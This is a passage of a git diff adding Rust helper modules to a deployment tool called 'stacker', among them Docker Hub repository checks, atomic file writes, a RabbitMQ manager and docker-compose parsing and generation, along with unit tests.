as_ref(&self) -> &Pool { + &self.0 + } +} + +/// Type alias for the regular API pool (for clarity in code) +pub type ApiPgPool = Pool; diff --git a/stacker/stacker/src/helpers/dockerhub.rs b/stacker/stacker/src/helpers/dockerhub.rs new file mode 100644 index 0000000..28ef634 --- /dev/null +++ b/stacker/stacker/src/helpers/dockerhub.rs @@ -0,0 +1,398 @@ +use crate::forms::project::DockerImage; +use serde_derive::{Deserialize, Serialize}; +use serde_json::Value; +use serde_valid::Validate; + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct DockerHubToken { + pub token: String, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct DockerHubCreds<'a> { + pub(crate) username: &'a str, + pub(crate) password: &'a str, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Image { + architecture: String, + digest: Option, + features: Option, + last_pulled: Option, + last_pushed: Option, + os: String, + os_features: Option, + os_version: Option, + size: i64, + status: String, + variant: Option, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct Tag { + pub content_type: String, + pub creator: i64, + pub digest: Option, + pub full_size: i64, + pub id: i64, + pub images: Vec, + pub last_updated: String, + pub last_updater: i64, + pub last_updater_username: String, + pub media_type: String, + pub name: String, + pub repository: i64, + pub tag_last_pulled: Option, + pub tag_last_pushed: Option, + pub tag_status: String, + pub v2: bool, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +struct TagResult { + pub count: Option, + next: Option, + previous: Option, + results: Vec, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct RepoResults { + pub count: Option, + pub next: Option, + pub previous: Option, + pub results: Vec, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize, Validate)] +pub struct OfficialRepoResults { + pub count: Option, + pub next: Option, + pub previous: Option, + pub results: Vec, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Deserialize)] +pub struct RepoResult { + pub name: String, + pub namespace: Option, + pub repository_type: Option, + pub status: Option, + pub status_description: Option, + pub description: Option, + pub is_private: Option, + pub star_count: Option, + pub pull_count: Option, + pub last_updated: String, + pub date_registered: Option, + pub affiliation: Option, + pub media_types: Option>, + pub content_types: Option>, +} + +#[derive(Default, Debug, Clone, PartialEq, Serialize, Validate)] +pub struct DockerHub<'a> { + pub(crate) creds: DockerHubCreds<'a>, + //#[validate(pattern = r"^[^:]+(:[^:]*)?$")] + #[validate(pattern = r"^([a-z-_0-9]+)(:[a-z-_0-9\.]+)?$")] + pub(crate) repos: String, + pub(crate) image: String, + pub(crate) tag: Option, +} + +impl<'a> DockerHub<'a> { + #[tracing::instrument(name = "Dockerhub login.")] + pub async fn login(&'a self) -> Result { + if self.creds.password.is_empty() { + return Err("Password is empty".to_string()); + } + + if self.creds.username.is_empty() { + return Err("Username is empty".to_string()); + } + + let url = "https://hub.docker.com/v2/users/login"; + reqwest::Client::new() + .post(url) + .json(&self.creds) + .send() + .await + .map_err(|err| format!("{:?}", err))? + .json::() + .await + .map(|docker_hub_token| docker_hub_token.token) + .map_err(|err| format!("🟥 {:?}", err)) + } + + #[tracing::instrument(name = "Lookup public repos")] + pub async fn lookup_public_repos(&'a self) -> Result { + if !self.creds.username.is_empty() { + return Ok(false); + } + let url = format!("https://hub.docker.com/v2/repositories/{}", self.repos); + let client = reqwest::Client::new() + .get(&url) + .header("Accept", "application/json"); + + client + .send() + .await + .map_err(|err| { + let msg = format!("🟥Error response {:?}", err); + tracing::debug!(msg); + msg + })? + .json::() + .await + .map_err(|err| { + let msg = format!("🟥Error on getting results:: {} url: {}", &err, &url); + tracing::error!(msg); + msg + }) + .map(|repositories| { + tracing::debug!( + "Get public image repo {:?} response {:?}", + &url, + repositories + ); + if repositories.count.unwrap_or(0) > 0 { + // let's find at least one active repo + let active = repositories + .results + .into_iter() + .any(|repo| repo.status == Some(1)); + tracing::debug!("✅ Public repository is active. url: {:?}", &url); + active + } else { + tracing::debug!("🟥 Public repository is not active, url: {:?}", &url); + false + } + }) + } + + #[tracing::instrument(name = "Lookup official repos")] + pub async fn lookup_official_repos(&'a self) -> Result { + let t = match self.tag.clone() { + Some(s) if !s.is_empty() => s, + _ => String::from("latest"), + }; + let url = format!( + "https://hub.docker.com/v2/repositories/library/{}/tags?name={}&page_size=100", + self.repos, t + ); + let client = reqwest::Client::new() + .get(url) + .header("Accept", "application/json"); + + client + .send() + .await + .map_err(|err| format!("🟥{}", err))? + .json::() + .await + .map_err(|err| { + tracing::debug!("🟥Error response {:?}", err); + format!("{}", err) + }) + .map(|tags| { + tracing::debug!("Validate official image response {:?}", tags); + if tags.count.unwrap_or(0) > 0 { + // let's find at least one active tag + let result = tags.results.into_iter().any(|tag| { + tracing::debug!( + "🟨 check official tag.name {:?} tag.tag_status: {:?} t={:?}", + tag.name, + tag.tag_status, + t + ); + "active".to_string() == tag.tag_status + }); + tracing::debug!("🟨 Official image is active? {:?}", result); + result + } else { + tracing::debug!("🟥 Official image tag is not active"); + false + } + }) + } + + #[tracing::instrument(name = "Lookup vendor's public repos")] + pub async fn lookup_vendor_public_repos(&'a self) -> Result { + let t = match self.tag.clone() { + Some(s) if !s.is_empty() => s, + _ => String::from("latest"), + }; + // get exact tag name + let url = format!( + "https://hub.docker.com/v2/namespaces/{}/repositories/{}/tags?name={}&page_size=100", + &self.creds.username, &self.repos, &t + ); + + tracing::debug!("Search vendor's public repos {:?}", url); + let client = reqwest::Client::new() + .get(url) + .header("Accept", "application/json"); + + client + .send() + .await + .map_err(|err| format!("🟥{}", err))? + .json::() + .await + .map_err(|err| { + tracing::debug!("🟥Error response {:?}", err); + format!("{}", err) + }) + .map(|tags| { + tracing::debug!("Validate vendor's public image response {:?}", tags); + if tags.count.unwrap_or(0) > 0 { + // let's find at least one active tag + let t = match self.tag.clone() { + Some(s) if !s.is_empty() => s, + _ => String::from("latest"), + }; + tracing::debug!("🟥 🟥 🟥 t={:?}", t); + + let active = tags + .results + .into_iter() + .any(|tag| tag.tag_status.contains("active") && tag.name.eq(&t)); + return active; + } else { + tracing::debug!("🟥 Image tag is not active"); + false + } + }) + } + #[tracing::instrument(name = "Lookup private repos")] + pub async fn lookup_private_repo(&'a self) -> Result { + let token = self.login().await?; + let t = match self.tag.clone() { + Some(s) if !s.is_empty() => s, + _ => String::from("latest"), + }; + + let url = format!( + "https://hub.docker.com/v2/namespaces/{}/repositories/{}/tags?name={}&page_size=100", + &self.creds.username, &self.repos, t + ); + + tracing::debug!("Search private repos {:?}", url); + let client = reqwest::Client::new() + .get(url) + .header("Accept", "application/json"); + + client + .bearer_auth(token) + .send() + .await + .map_err(|err| format!("🟥{}", err))? + .json::() + .await + .map_err(|err| { + tracing::debug!("🟥Error response {:?}", err); + format!("{}", err) + }) + .map(|tags| { + tracing::debug!("Validate private image response {:?}", tags); + if tags.count.unwrap_or(0) > 0 { + // let's find at least one active tag + let t = match self.tag.clone() { + Some(s) if !s.is_empty() => s, + _ => String::from("latest"), + }; + + let active = tags + .results + .into_iter() + .any(|tag| tag.tag_status.contains("active") && tag.name.eq(&t)); + return active; + } else { + tracing::debug!("🟥 Image tag is not active"); + false + } + }) + } + + pub async fn is_active(&'a self) -> Result { + // if namespace/user is not set change endpoint and return a different response + tokio::select! { + Ok(true) = self.lookup_official_repos() => { + tracing::debug!("official: true"); + println!("official: true"); + return Ok(true); + } + + Ok(true) = self.lookup_public_repos() => { + tracing::debug!("public: true"); + println!("public: true"); + return Ok(true); + } + + Ok(true) = self.lookup_vendor_public_repos() => { + tracing::debug!("public: true"); + println!("public: true"); + return Ok(true); + } + + Ok(true) = self.lookup_private_repo() => { + tracing::debug!("private: true"); + println!("private: true"); + return Ok(true); + } + + else => { return Ok(false); } + } + } +} + +impl<'a> TryFrom<&'a DockerImage> for DockerHub<'a> { + type Error = String; + + fn try_from(image: &'a DockerImage) -> Result { + let username = match image.dockerhub_user { + Some(ref username) => username, + None => "", + }; + let password = match image.dockerhub_password { + Some(ref password) => password, + None => "", + }; + + let name = image.dockerhub_name.clone().unwrap_or("".to_string()); + let n = name + .split(':') + .map(|x| x.to_string()) + .collect::>(); + + let (name, tag) = match n.len() { + 1 => (n.first().unwrap().into(), Some("".to_string())), + 2 => ( + n.first().unwrap().to_string(), + n.last().map(|s| s.to_string()), + ), + _ => { + return Err("Wrong format of repository name".to_owned()); + } + }; + + let hub = DockerHub { + creds: DockerHubCreds { + username: username, + password: password, + }, + repos: name, + image: format!("{}", image), + tag: tag, + }; + + if let Err(errors) = hub.validate() { + let msg = "DockerHub image properties are not valid. Please verify repository name"; + tracing::debug!("{:?} {:?}", msg, errors); + return Err(format!("{:?}", msg)); + } + + Ok(hub) + } +} diff --git a/stacker/stacker/src/helpers/env_path.rs b/stacker/stacker/src/helpers/env_path.rs new file mode 100644 index 0000000..5012ce4 --- /dev/null +++ b/stacker/stacker/src/helpers/env_path.rs @@ -0,0 +1,38 @@ +pub const REMOTE_RUNTIME_ENV_PATH: &str = "/home/trydirect/project/.env"; +pub const REMOTE_RUNTIME_ENV_FILE: &str = ".env"; +pub const REMOTE_RUNTIME_COMPOSE_PATH: &str = "/home/trydirect/project/docker-compose.yml"; + +pub fn remote_runtime_env_path() -> &'static str { + REMOTE_RUNTIME_ENV_PATH +} + +pub fn compose_env_file_reference() -> &'static str { + REMOTE_RUNTIME_ENV_FILE +} + +pub fn remote_runtime_compose_path() -> &'static str { + REMOTE_RUNTIME_COMPOSE_PATH +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn remote_runtime_env_path_is_canonical() { + assert_eq!(remote_runtime_env_path(), "/home/trydirect/project/.env"); + } + + #[test] + fn compose_env_file_reference_is_relative() { + assert_eq!(compose_env_file_reference(), ".env"); + } + + #[test] + fn remote_runtime_compose_path_is_canonical() { + assert_eq!( + remote_runtime_compose_path(), + "/home/trydirect/project/docker-compose.yml" + ); + } +} diff --git a/stacker/stacker/src/helpers/fs.rs b/stacker/stacker/src/helpers/fs.rs new file mode 100644 index 0000000..0b7eced --- /dev/null +++ b/stacker/stacker/src/helpers/fs.rs @@ -0,0 +1,91 @@ +use std::fs::{self, File}; +use std::io::{self, Write}; +use std::path::Path; + +#[cfg(unix)] +use std::os::unix::fs::PermissionsExt; + +/// Write bytes to `path` through a sibling temporary file and atomic rename. +pub fn write_atomic(path: &Path, bytes: &[u8], mode: u32) -> io::Result<()> { + let parent = path + .parent() + .filter(|parent| !parent.as_os_str().is_empty()) + .unwrap_or_else(|| Path::new(".")); + + fs::create_dir_all(parent)?; + + let mut tmp = tempfile::Builder::new() + .prefix(".stacker-write-") + .tempfile_in(parent)?; + tmp.write_all(bytes)?; + tmp.as_file().sync_all()?; + + #[cfg(unix)] + tmp.as_file() + .set_permissions(fs::Permissions::from_mode(mode))?; + + let (_, tmp_path) = tmp.keep()?; + fs::rename(&tmp_path, path)?; + sync_parent_dir(parent) +} + +#[cfg(unix)] +fn sync_parent_dir(parent: &Path) -> io::Result<()> { + File::open(parent)?.sync_all() +} + +#[cfg(not(unix))] +fn sync_parent_dir(_parent: &Path) -> io::Result<()> { + Ok(()) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[cfg(unix)] + use std::os::unix::fs::PermissionsExt; + + #[test] + fn write_atomic_writes_bytes() { + let dir = tempfile::TempDir::new().unwrap(); + let path = dir.path().join("config.env"); + + write_atomic(&path, b"KEY=value\n", 0o600).unwrap(); + + assert_eq!(fs::read_to_string(path).unwrap(), "KEY=value\n"); + } + + #[test] + fn write_atomic_replaces_existing_file() { + let dir = tempfile::TempDir::new().unwrap(); + let path = dir.path().join("config.env"); + + write_atomic(&path, b"OLD=value\n", 0o600).unwrap(); + write_atomic(&path, b"NEW=value\n", 0o600).unwrap(); + + assert_eq!(fs::read_to_string(path).unwrap(), "NEW=value\n"); + } + + #[test] + fn write_atomic_creates_parent_directory() { + let dir = tempfile::TempDir::new().unwrap(); + let path = dir.path().join("nested").join("config.env"); + + write_atomic(&path, b"KEY=value\n", 0o600).unwrap(); + + assert_eq!(fs::read_to_string(path).unwrap(), "KEY=value\n"); + } + + #[test] + #[cfg(unix)] + fn write_atomic_sets_mode() { + let dir = tempfile::TempDir::new().unwrap(); + let path = dir.path().join("config.env"); + + write_atomic(&path, b"KEY=value\n", 0o600).unwrap(); + + let mode = fs::metadata(path).unwrap().permissions().mode() & 0o777; + assert_eq!(mode, 0o600); + } +} diff --git a/stacker/stacker/src/helpers/ip.rs b/stacker/stacker/src/helpers/ip.rs new file mode 100644 index 0000000..6b66c7b --- /dev/null +++ b/stacker/stacker/src/helpers/ip.rs @@ -0,0 +1,33 @@ +pub(crate) fn extract_ipv4_from_text(text: &str) -> Option { + text.split(|c: char| !(c.is_ascii_digit() || c == '.')) + .find_map(|candidate| { + let trimmed = candidate.trim_matches('.'); + if trimmed.parse::().is_ok() { + Some(trimmed.to_string()) + } else { + None + } + }) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn extracts_ipv4_from_status_message_prefix() { + assert_eq!( + extract_ipv4_from_text("178.104.222.170: Copy files is done"), + Some("178.104.222.170".to_string()) + ); + } + + #[test] + fn ignores_text_without_valid_ipv4() { + assert_eq!(extract_ipv4_from_text("Deployment still in progress"), None); + assert_eq!( + extract_ipv4_from_text("invalid 999.104.222.170: message"), + None + ); + } +} diff --git a/stacker/stacker/src/helpers/json.rs b/stacker/stacker/src/helpers/json.rs new file mode 100644 index 0000000..4446926 --- /dev/null +++ b/stacker/stacker/src/helpers/json.rs @@ -0,0 +1,144 @@ +use actix_web::error::{ErrorBadRequest, ErrorForbidden, ErrorInternalServerError, ErrorNotFound}; +use actix_web::web::Json; +use actix_web::{Error, HttpResponse}; +use serde_derive::Serialize; + +#[derive(Serialize)] +pub(crate) struct JsonResponse { + pub(crate) message: String, + #[serde(skip_serializing_if = "Option::is_none")] + pub(crate) id: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub(crate) item: Option, + #[serde(skip_serializing_if = "Option::is_none")] + pub(crate) list: Option>, + #[serde(skip_serializing_if = "Option::is_none")] + pub(crate) meta: Option, +} + +#[derive(Serialize)] +pub struct JsonResponseBuilder +where + T: serde::Serialize, +{ + message: String, + id: Option, + item: Option, + list: Option>, + meta: Option, +} + +impl JsonResponseBuilder +where + T: serde::Serialize, +{ + pub(crate) fn set_msg>(mut self, msg: I) -> Self { + self.message = msg.into(); + self + } + + pub(crate) fn set_item(mut self, item: T) -> Self { + self.item = Some(item); + self + } + + pub(crate) fn set_id(mut self, id: i32) -> Self { + self.id = Some(id); + self + } + + pub(crate) fn set_list(mut self, list: Vec) -> Self { + self.list = Some(list); + self + } + + pub(crate) fn set_meta(mut self, meta: serde_json::Value) -> Self { + self.meta = Some(meta); + self + } + + fn to_json_response(self) -> JsonResponse { + JsonResponse { + message: self.message, + id: self.id, + item: self.item, + list: self.list, + meta: self.meta, + } + } + + pub(crate) fn to_string(self) -> String { + let json_response = self.to_json_response(); + serde_json::to_string(&json_response).unwrap() + } + + pub(crate) fn ok>(self, msg: I) -> Json> { + Json(self.set_msg(msg).to_json_response()) + } + + pub(crate) fn bad_request>(self, msg: I) -> Error { + ErrorBadRequest(self.set_msg(msg).to_string()) + } + + pub(crate) fn form_error(self, msg: String) -> Error { + ErrorBadRequest(msg) + } + + pub(crate) fn not_found>(self, msg: I) -> Error { + ErrorNotFound(self.set_msg(msg).to_string()) + } + + pub(crate) fn internal_server_error>(self, msg: I) -> Error { + ErrorInternalServerError(self.set_msg(msg).to_string()) + } + + pub(crate) fn forbidden>(self, msg: I) -> Error { + ErrorForbidden(self.set_msg(msg).to_string()) + } + + pub(crate) fn conflict>(self, msg: I) -> Error { + actix_web::error::ErrorConflict(self.set_msg(msg).to_string()) + } + + pub(crate) fn created>(self, msg: I) -> HttpResponse { + HttpResponse::Created().json(self.set_msg(msg).to_json_response()) + } + + #[allow(dead_code)] + pub(crate) fn no_content(self) -> HttpResponse { + HttpResponse::NoContent().finish() + } +} + +impl JsonResponse +where + T: serde::Serialize, +{ + pub fn build() -> JsonResponseBuilder { + JsonResponseBuilder { + message: String::new(), + id: None, + item: None, + list: None, + meta: None, + } + } +} + +impl JsonResponse { + pub fn bad_request>(msg: I) -> Error { + JsonResponse::::build().bad_request(msg.into()) + } + + pub fn internal_server_error>(msg: I) -> Error { + JsonResponse::::build().internal_server_error(msg.into()) + } + + pub fn not_found>(msg: I) -> Error { + JsonResponse::::build().not_found(msg.into()) + } + + pub fn forbidden>(msg: I) -> Error { + JsonResponse::::build().forbidden(msg.into()) + } +} diff --git a/stacker/stacker/src/helpers/mod.rs b/stacker/stacker/src/helpers/mod.rs new file mode 100644 index 0000000..9f4bb48 --- /dev/null +++ b/stacker/stacker/src/helpers/mod.rs @@ -0,0 +1,30 @@ +pub mod agent_capabilities; +pub mod agent_client; +pub mod client; +pub mod db_pools; +pub(crate) mod json; +pub mod mq_manager; +pub mod project; +pub mod security_validator; +pub mod ssh_client; +pub mod vault; + +pub use agent_capabilities::*; +pub use agent_client::*; +pub use db_pools::*; +pub use env_path::*; +pub use json::*; +pub use mq_manager::*; +pub use ssh_client::*; +pub use vault::*; +pub(crate) mod cloud; +pub(crate) mod compressor; +pub mod dockerhub; +pub mod env_path; +pub mod fs; +pub(crate) mod ip; +pub mod stacker_labels; + +pub use dockerhub::*; + +pub use cloud::*; diff --git a/stacker/stacker/src/helpers/mq_manager.rs b/stacker/stacker/src/helpers/mq_manager.rs new file mode 100644 index 0000000..e7e31c1 --- /dev/null +++ b/stacker/stacker/src/helpers/mq_manager.rs @@ -0,0 +1,184 @@ +use deadpool_lapin::{Config, CreatePoolError, Object, Pool, Runtime}; +use lapin::types::{AMQPValue, FieldTable}; +use lapin::{ + options::*, + publisher_confirm::{Confirmation, PublisherConfirm}, + BasicProperties, Channel, ExchangeKind, +}; +use serde::ser::Serialize; + +#[derive(Debug)] +pub struct MqManager { + pool: Pool, +} + +impl MqManager { + pub fn try_new(url: String) -> Result { + let mut cfg = Config::default(); + cfg.url = Some(url); + let pool = cfg.create_pool(Some(Runtime::Tokio1)).map_err(|err| { + tracing::error!("{:?}", err); + + match err { + CreatePoolError::Config(_) => { + std::io::Error::new(std::io::ErrorKind::Other, "config error") + } + CreatePoolError::Build(_) => { + std::io::Error::new(std::io::ErrorKind::Other, "build error") + } + } + })?; + + Ok(Self { pool }) + } + + async fn get_connection(&self) -> Result { + self.pool.get().await.map_err(|err| { + let msg = format!("getting connection from pool {:?}", err); + tracing::error!(msg); + msg + }) + } + + async fn create_channel(&self) -> Result { + self.get_connection() + .await? + .create_channel() + .await + .map_err(|err| { + let msg = format!("creating RabbitMQ channel {:?}", err); + tracing::error!(msg); + msg + }) + } + + async fn declare_exchange(channel: &Channel, exchange: &str) -> Result<(), String> { + channel + .exchange_declare( + exchange, + ExchangeKind::Topic, + ExchangeDeclareOptions { + passive: false, + durable: true, + auto_delete: false, + internal: false, + nowait: false, + }, + FieldTable::default(), + ) + .await + .map_err(|err| { + let msg = format!("declaring exchange '{}': {:?}", exchange, err); + tracing::error!(msg); + msg + }) + } + + pub async fn publish( + &self, + exchange: String, + routing_key: String, + msg: &T, + ) -> Result { + let payload = serde_json::to_string::(msg).map_err(|err| format!("{:?}", err))?; + + let channel = self.create_channel().await?; + Self::declare_exchange(&channel, &exchange).await?; + channel + .basic_publish( + exchange.as_str(), + routing_key.as_str(), + BasicPublishOptions::default(), + payload.as_bytes(), + BasicProperties::default(), + ) + .await + .map_err(|err| { + tracing::error!("publishing message {:?}", err); + format!("publishing message {:?}", err) + }) + } + + pub async fn publish_and_confirm( + &self, + exchange: String, + routing_key: String, + msg: &T, + ) -> Result<(), String> { + self.publish(exchange, routing_key, msg) + .await? + .await + .map_err(|err| { + let msg = format!("confirming the publication {:?}", err); + tracing::error!(msg); + msg + }) + .and_then(|confirm| match confirm { + Confirmation::NotRequested => { + let msg = format!("confirmation is NotRequested"); + tracing::error!(msg); + Err(msg) + } + _ => Ok(()), + }) + } + + pub async fn consume( + &self, + exchange_name: &str, + queue_name: &str, + routing_key: &str, + ) -> Result { + let channel = self.create_channel().await?; + + Self::declare_exchange(&channel, exchange_name) + .await + .map_err(|e| { + tracing::error!("Exchange declare failed: {}", e); + e + })?; + + let mut args = FieldTable::default(); + args.insert("x-expires".into(), AMQPValue::LongUInt(3600000)); + + channel + .queue_declare( + queue_name, + QueueDeclareOptions { + passive: false, + durable: false, + exclusive: false, + auto_delete: true, + nowait: false, + }, + args, + ) + .await + .map_err(|err| { + let msg = format!("declaring queue '{}': {:?}", queue_name, err); + tracing::error!(msg); + msg + })?; + + channel + .queue_bind( + queue_name, + exchange_name, + routing_key, + QueueBindOptions::default(), + FieldTable::default(), + ) + .await + .map_err(|err| { + let msg = format!( + "binding queue '{}' to exchange '{}': {:?}", + queue_name, exchange_name, err + ); + tracing::error!(msg); + msg + })?; + + let channel = self.create_channel().await?; + Ok(channel) + } +} diff --git a/stacker/stacker/src/helpers/project/builder.rs b/stacker/stacker/src/helpers/project/builder.rs new file mode 100644 index 0000000..2456877 --- /dev/null +++ b/stacker/stacker/src/helpers/project/builder.rs @@ -0,0 +1,474 @@ +use crate::forms; +use crate::models; +use docker_compose_types as dctypes; +use indexmap::IndexMap; +use serde::{Deserialize, Serialize}; +use serde_json::{json, Value as JsonValue}; +use serde_yaml; +// use crate::helpers::project::*; + +/// Extracted service info from a docker-compose file +#[derive(Debug, Clone, Serialize, Deserialize)] +pub struct ExtractedService { + /// Service name (key in services section) + pub name: String, + /// Docker image + pub image: Option, + /// Port mappings as strings (e.g., "8080:80") + pub ports: Vec, + /// Volume mounts as strings + pub volumes: Vec, + /// Environment variables as key=value + pub environment: Vec, + /// Networks the service connects to + pub networks: Vec, + /// Services this depends on + pub depends_on: Vec, + /// Restart policy + pub restart: Option, + /// Container command + pub command: Option, + /// Container entrypoint + pub entrypoint: Option, + /// Labels + pub labels: IndexMap, + /// Healthcheck definition normalized into ProjectApp JSON shape. + pub healthcheck: Option, +} + +/// Parse a docker-compose.yml string and extract all service definitions +pub fn parse_compose_services(compose_yaml: &str) -> Result, String> { + let compose: dctypes::Compose = serde_yaml::from_str(compose_yaml) + .map_err(|e| format!("Failed to parse compose YAML: {}", e))?; + + let mut services = Vec::new(); + + for (name, service_opt) in compose.services.0.iter() { + let Some(service) = service_opt else { + continue; + }; + + let image = service.image.clone(); + + // Extract ports + let ports = match &service.ports { + dctypes::Ports::Short(list) => list.clone(), + dctypes::Ports::Long(list) => list + .iter() + .map(|p| { + let host = p + .host_ip + .as_ref() + .map(|h| format!("{}:", h)) + .unwrap_or_default(); + let published = p + .published + .as_ref() + .map(|pp| match pp { + dctypes::PublishedPort::Single(n) => n.to_string(), + dctypes::PublishedPort::Range(s) => s.clone(), + }) + .unwrap_or_default(); + format!("{}{}:{}", host, published, p.target) + }) + .collect(), + }; + + // Extract volumes + let volumes: Vec = service + .volumes + .iter() + .filter_map(|v| match v { + dctypes::Volumes::Simple(s) => Some(s.clone()), + dctypes::Volumes::Advanced(adv) => Some(format!( + "{}:{}", + adv.source.as_deref().unwrap_or(""), + &adv.target + )), + }) + .collect(); + + // Extract environment + let environment: Vec = match &service.environment { + dctypes::Environment::List(list) => list.clone(), + dctypes::Environment::KvPair(map) => map + .iter() + .map(|(k, v)| { + let val = v + .as_ref() + .map(|sv| match sv { + dctypes::SingleValue::String(s) => s.clone(), + dctypes::SingleValue::Bool(b) => b.to_string(), + dctypes::SingleValue::Unsigned(n) => n.to_string(), + dctypes::SingleValue::Signed(n) => n.to_string(), + dctypes::SingleValue::Float(f) => f.to_string(), + }) + .unwrap_or_default(); + format!("{}={}", k, val) + }) + .collect(), + }; + + // Extract networks + let networks: Vec = match &service.networks { + dctypes::Networks::Simple(list) => list.clone(), + dctypes::Networks::Advanced(adv) => adv.0.keys().cloned().collect(), + }; + + // Extract depends_on + let depends_on: Vec = match &service.depends_on { + dctypes::DependsOnOptions::Simple(list) => list.clone(), + dctypes::DependsOnOptions::Conditional(map) => map.keys().cloned().collect(), + }; + + // Extract restart + let restart = service.restart.clone(); + + // Extract command + let command = match &service.command { + Some(dctypes::Command::Simple(s)) => Some(s.clone()), + Some(dctypes::Command::Args(args)) => Some(args.join(" ")), + None => None, + }; + + // Extract entrypoint + let entrypoint = match &service.entrypoint { + Some(dctypes::Entrypoint::Simple(s)) => Some(s.clone()), + Some(dctypes::Entrypoint::List(list)) => Some(list.join(" ")), + None => None, + }; + + // Extract labels + let labels: IndexMap = match &service.labels { + dctypes::Labels::List(list) => { + let mut map = IndexMap::new(); + for item in list { + if let Some((k, v)) = item.split_once('=') { + map.insert(k.to_string(), v.to_string()); + } + } + map + } + dctypes::Labels::Map(map) => map.clone(), + }; + + let healthcheck = extract_healthcheck(&service.healthcheck); + + services.push(ExtractedService { + name: name.clone(), + image, + ports, + volumes, + environment, + networks, + depends_on, + restart, + command, + entrypoint, + labels, + healthcheck, + }); + } + + Ok(services) +} + +fn extract_healthcheck(healthcheck: &Option) -> Option { + let healthcheck = healthcheck.as_ref()?; + if healthcheck.disable { + return None; + } + + let test = match &healthcheck.test { + Some(dctypes::HealthcheckTest::Single(command)) => vec![command.clone()], + Some(dctypes::HealthcheckTest::Multiple(commands)) => commands.clone(), + None => Vec::new(), + }; + + if test.is_empty() { + return None; + } + + let mut map = serde_json::Map::new(); + map.insert("test".to_string(), json!(test)); + + if let Some(interval) = &healthcheck.interval { + map.insert("interval".to_string(), json!(interval)); + } + if let Some(timeout) = &healthcheck.timeout { + map.insert("timeout".to_string(), json!(timeout)); + } + if healthcheck.retries > 0 { + map.insert("retries".to_string(), json!(healthcheck.retries)); + } + if let Some(start_period) = &healthcheck.start_period { + map.insert("start_period".to_string(), json!(start_period)); + } + + Some(JsonValue::Object(map)) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn parse_compose_services_extracts_healthcheck() { + let compose = r#" +services: + api: + image: nginx:latest + healthcheck: + test: ["CMD", "curl", "-f", "http://localhost/health"] + interval: 30s + timeout: 5s + retries: 3 + start_period: 10s +"#; + + let services = parse_compose_services(compose).expect("compose should parse"); + let service = services.first().expect("service should exist"); + let healthcheck = service + .healthcheck + .as_ref() + .expect("healthcheck should be extracted"); + + assert_eq!( + healthcheck["test"], + json!(["CMD", "curl", "-f", "http://localhost/health"]) + ); + assert_eq!(healthcheck["interval"], json!("30s")); + assert_eq!(healthcheck["timeout"], json!("5s")); + assert_eq!(healthcheck["retries"], json!(3)); + assert_eq!(healthcheck["start_period"], json!("10s")); + } +} + +/// A builder for constructing docker compose. +#[derive(Clone, Debug)] +pub struct DcBuilder { + // config: Config, + pub(crate) project: models::Project, +} + +impl DcBuilder { + pub fn new(project: models::Project) -> Self { + DcBuilder { + // config: Config::default(), + project, + } + } + + #[tracing::instrument(name = "building project")] + pub fn build(&self) -> Result { + let mut compose_content = dctypes::Compose { + version: Some("3.8".to_string()), + ..Default::default() + }; + + let apps = forms::project::ProjectForm::try_from(&self.project)?; + tracing::debug!("apps {:?}", &apps); + let services = apps.custom.services()?; + tracing::debug!("services {:?}", &services); + let named_volumes = apps.custom.named_volumes()?; + + tracing::debug!("named volumes {:?}", &named_volumes); + // let all_networks = &apps.custom.networks.networks.clone().unwrap_or(vec![]); + let networks = apps.custom.networks.clone(); + compose_content.networks = dctypes::ComposeNetworks(networks.into()); + + if !named_volumes.is_empty() { + compose_content.volumes = dctypes::TopLevelVolumes(named_volumes); + } + + compose_content.services = dctypes::Services(services); + + let fname = format!("./files/{}.yml", self.project.stack_id); + tracing::debug!("Saving docker compose to file {:?}", fname); + let target_file = std::path::Path::new(fname.as_str()); + let serialized = serde_yaml::to_string(&compose_content) + .map_err(|err| format!("Failed to serialize docker-compose file: {}", err))?; + + if let Some(parent) = target_file.parent() { + std::fs::create_dir_all(parent) + .map_err(|err| format!("Failed to create files directory: {}", err))?; + } + std::fs::write(target_file, serialized.clone()).map_err(|err| format!("{}", err))?; + + Ok(serialized) + } +} + +/// Generate a docker-compose.yml for a single app from JSON parameters. +/// Used by deploy_app command when no compose file is provided. +pub fn generate_single_app_compose( + app_code: &str, + params: &serde_json::Value, +) -> Result { + // Image is required + let image = params + .get("image") + .and_then(|v| v.as_str()) + .ok_or_else(|| "Missing required 'image' parameter".to_string())?; + + let mut service = dctypes::Service { + image: Some(image.to_string()), + ..Default::default() + }; + + // Restart policy + let restart = params + .get("restart_policy") + .and_then(|v| v.as_str()) + .unwrap_or("unless-stopped"); + service.restart = Some(restart.to_string()); + + // Command + if let Some(cmd) = params.get("command").and_then(|v| v.as_str()) { + if !cmd.is_empty() { + service.command = Some(dctypes::Command::Simple(cmd.to_string())); + } + } + + // Entrypoint + if let Some(entry) = params.get("entrypoint").and_then(|v| v.as_str()) { + if !entry.is_empty() { + service.entrypoint = Some(dctypes::Entrypoint::Simple(entry.to_string())); + } + } + + // Environment variables + if let Some(env) = params.get("env") { + let mut envs = IndexMap::new(); + if let Some(env_obj) = env.as_object() { + for (key, value) in env_obj { + let val_str = match value { + serde_json::Value::String(s) => s.clone(), + _ => value.to_string(), + }; + envs.insert(key.clone(), Some(dctypes::SingleValue::String(val_str))); + } + } else if let Some(env_arr) = env.as_array() { + for item in env_arr { + if let Some(s) = item.as_str() { + if let Some((key, value)) = s.split_once('=') { + envs.insert( + key.to_string(), + Some(dctypes::SingleValue::String(value.to_string())), + ); + } + } + } + } + if !envs.is_empty() { + service.environment = dctypes::Environment::KvPair(envs); + } + } + + // Ports + if let Some(ports) = params.get("ports").and_then(|v| v.as_array()) { + let mut port_list: Vec = vec![]; + for port in ports { + if let Some(port_str) = 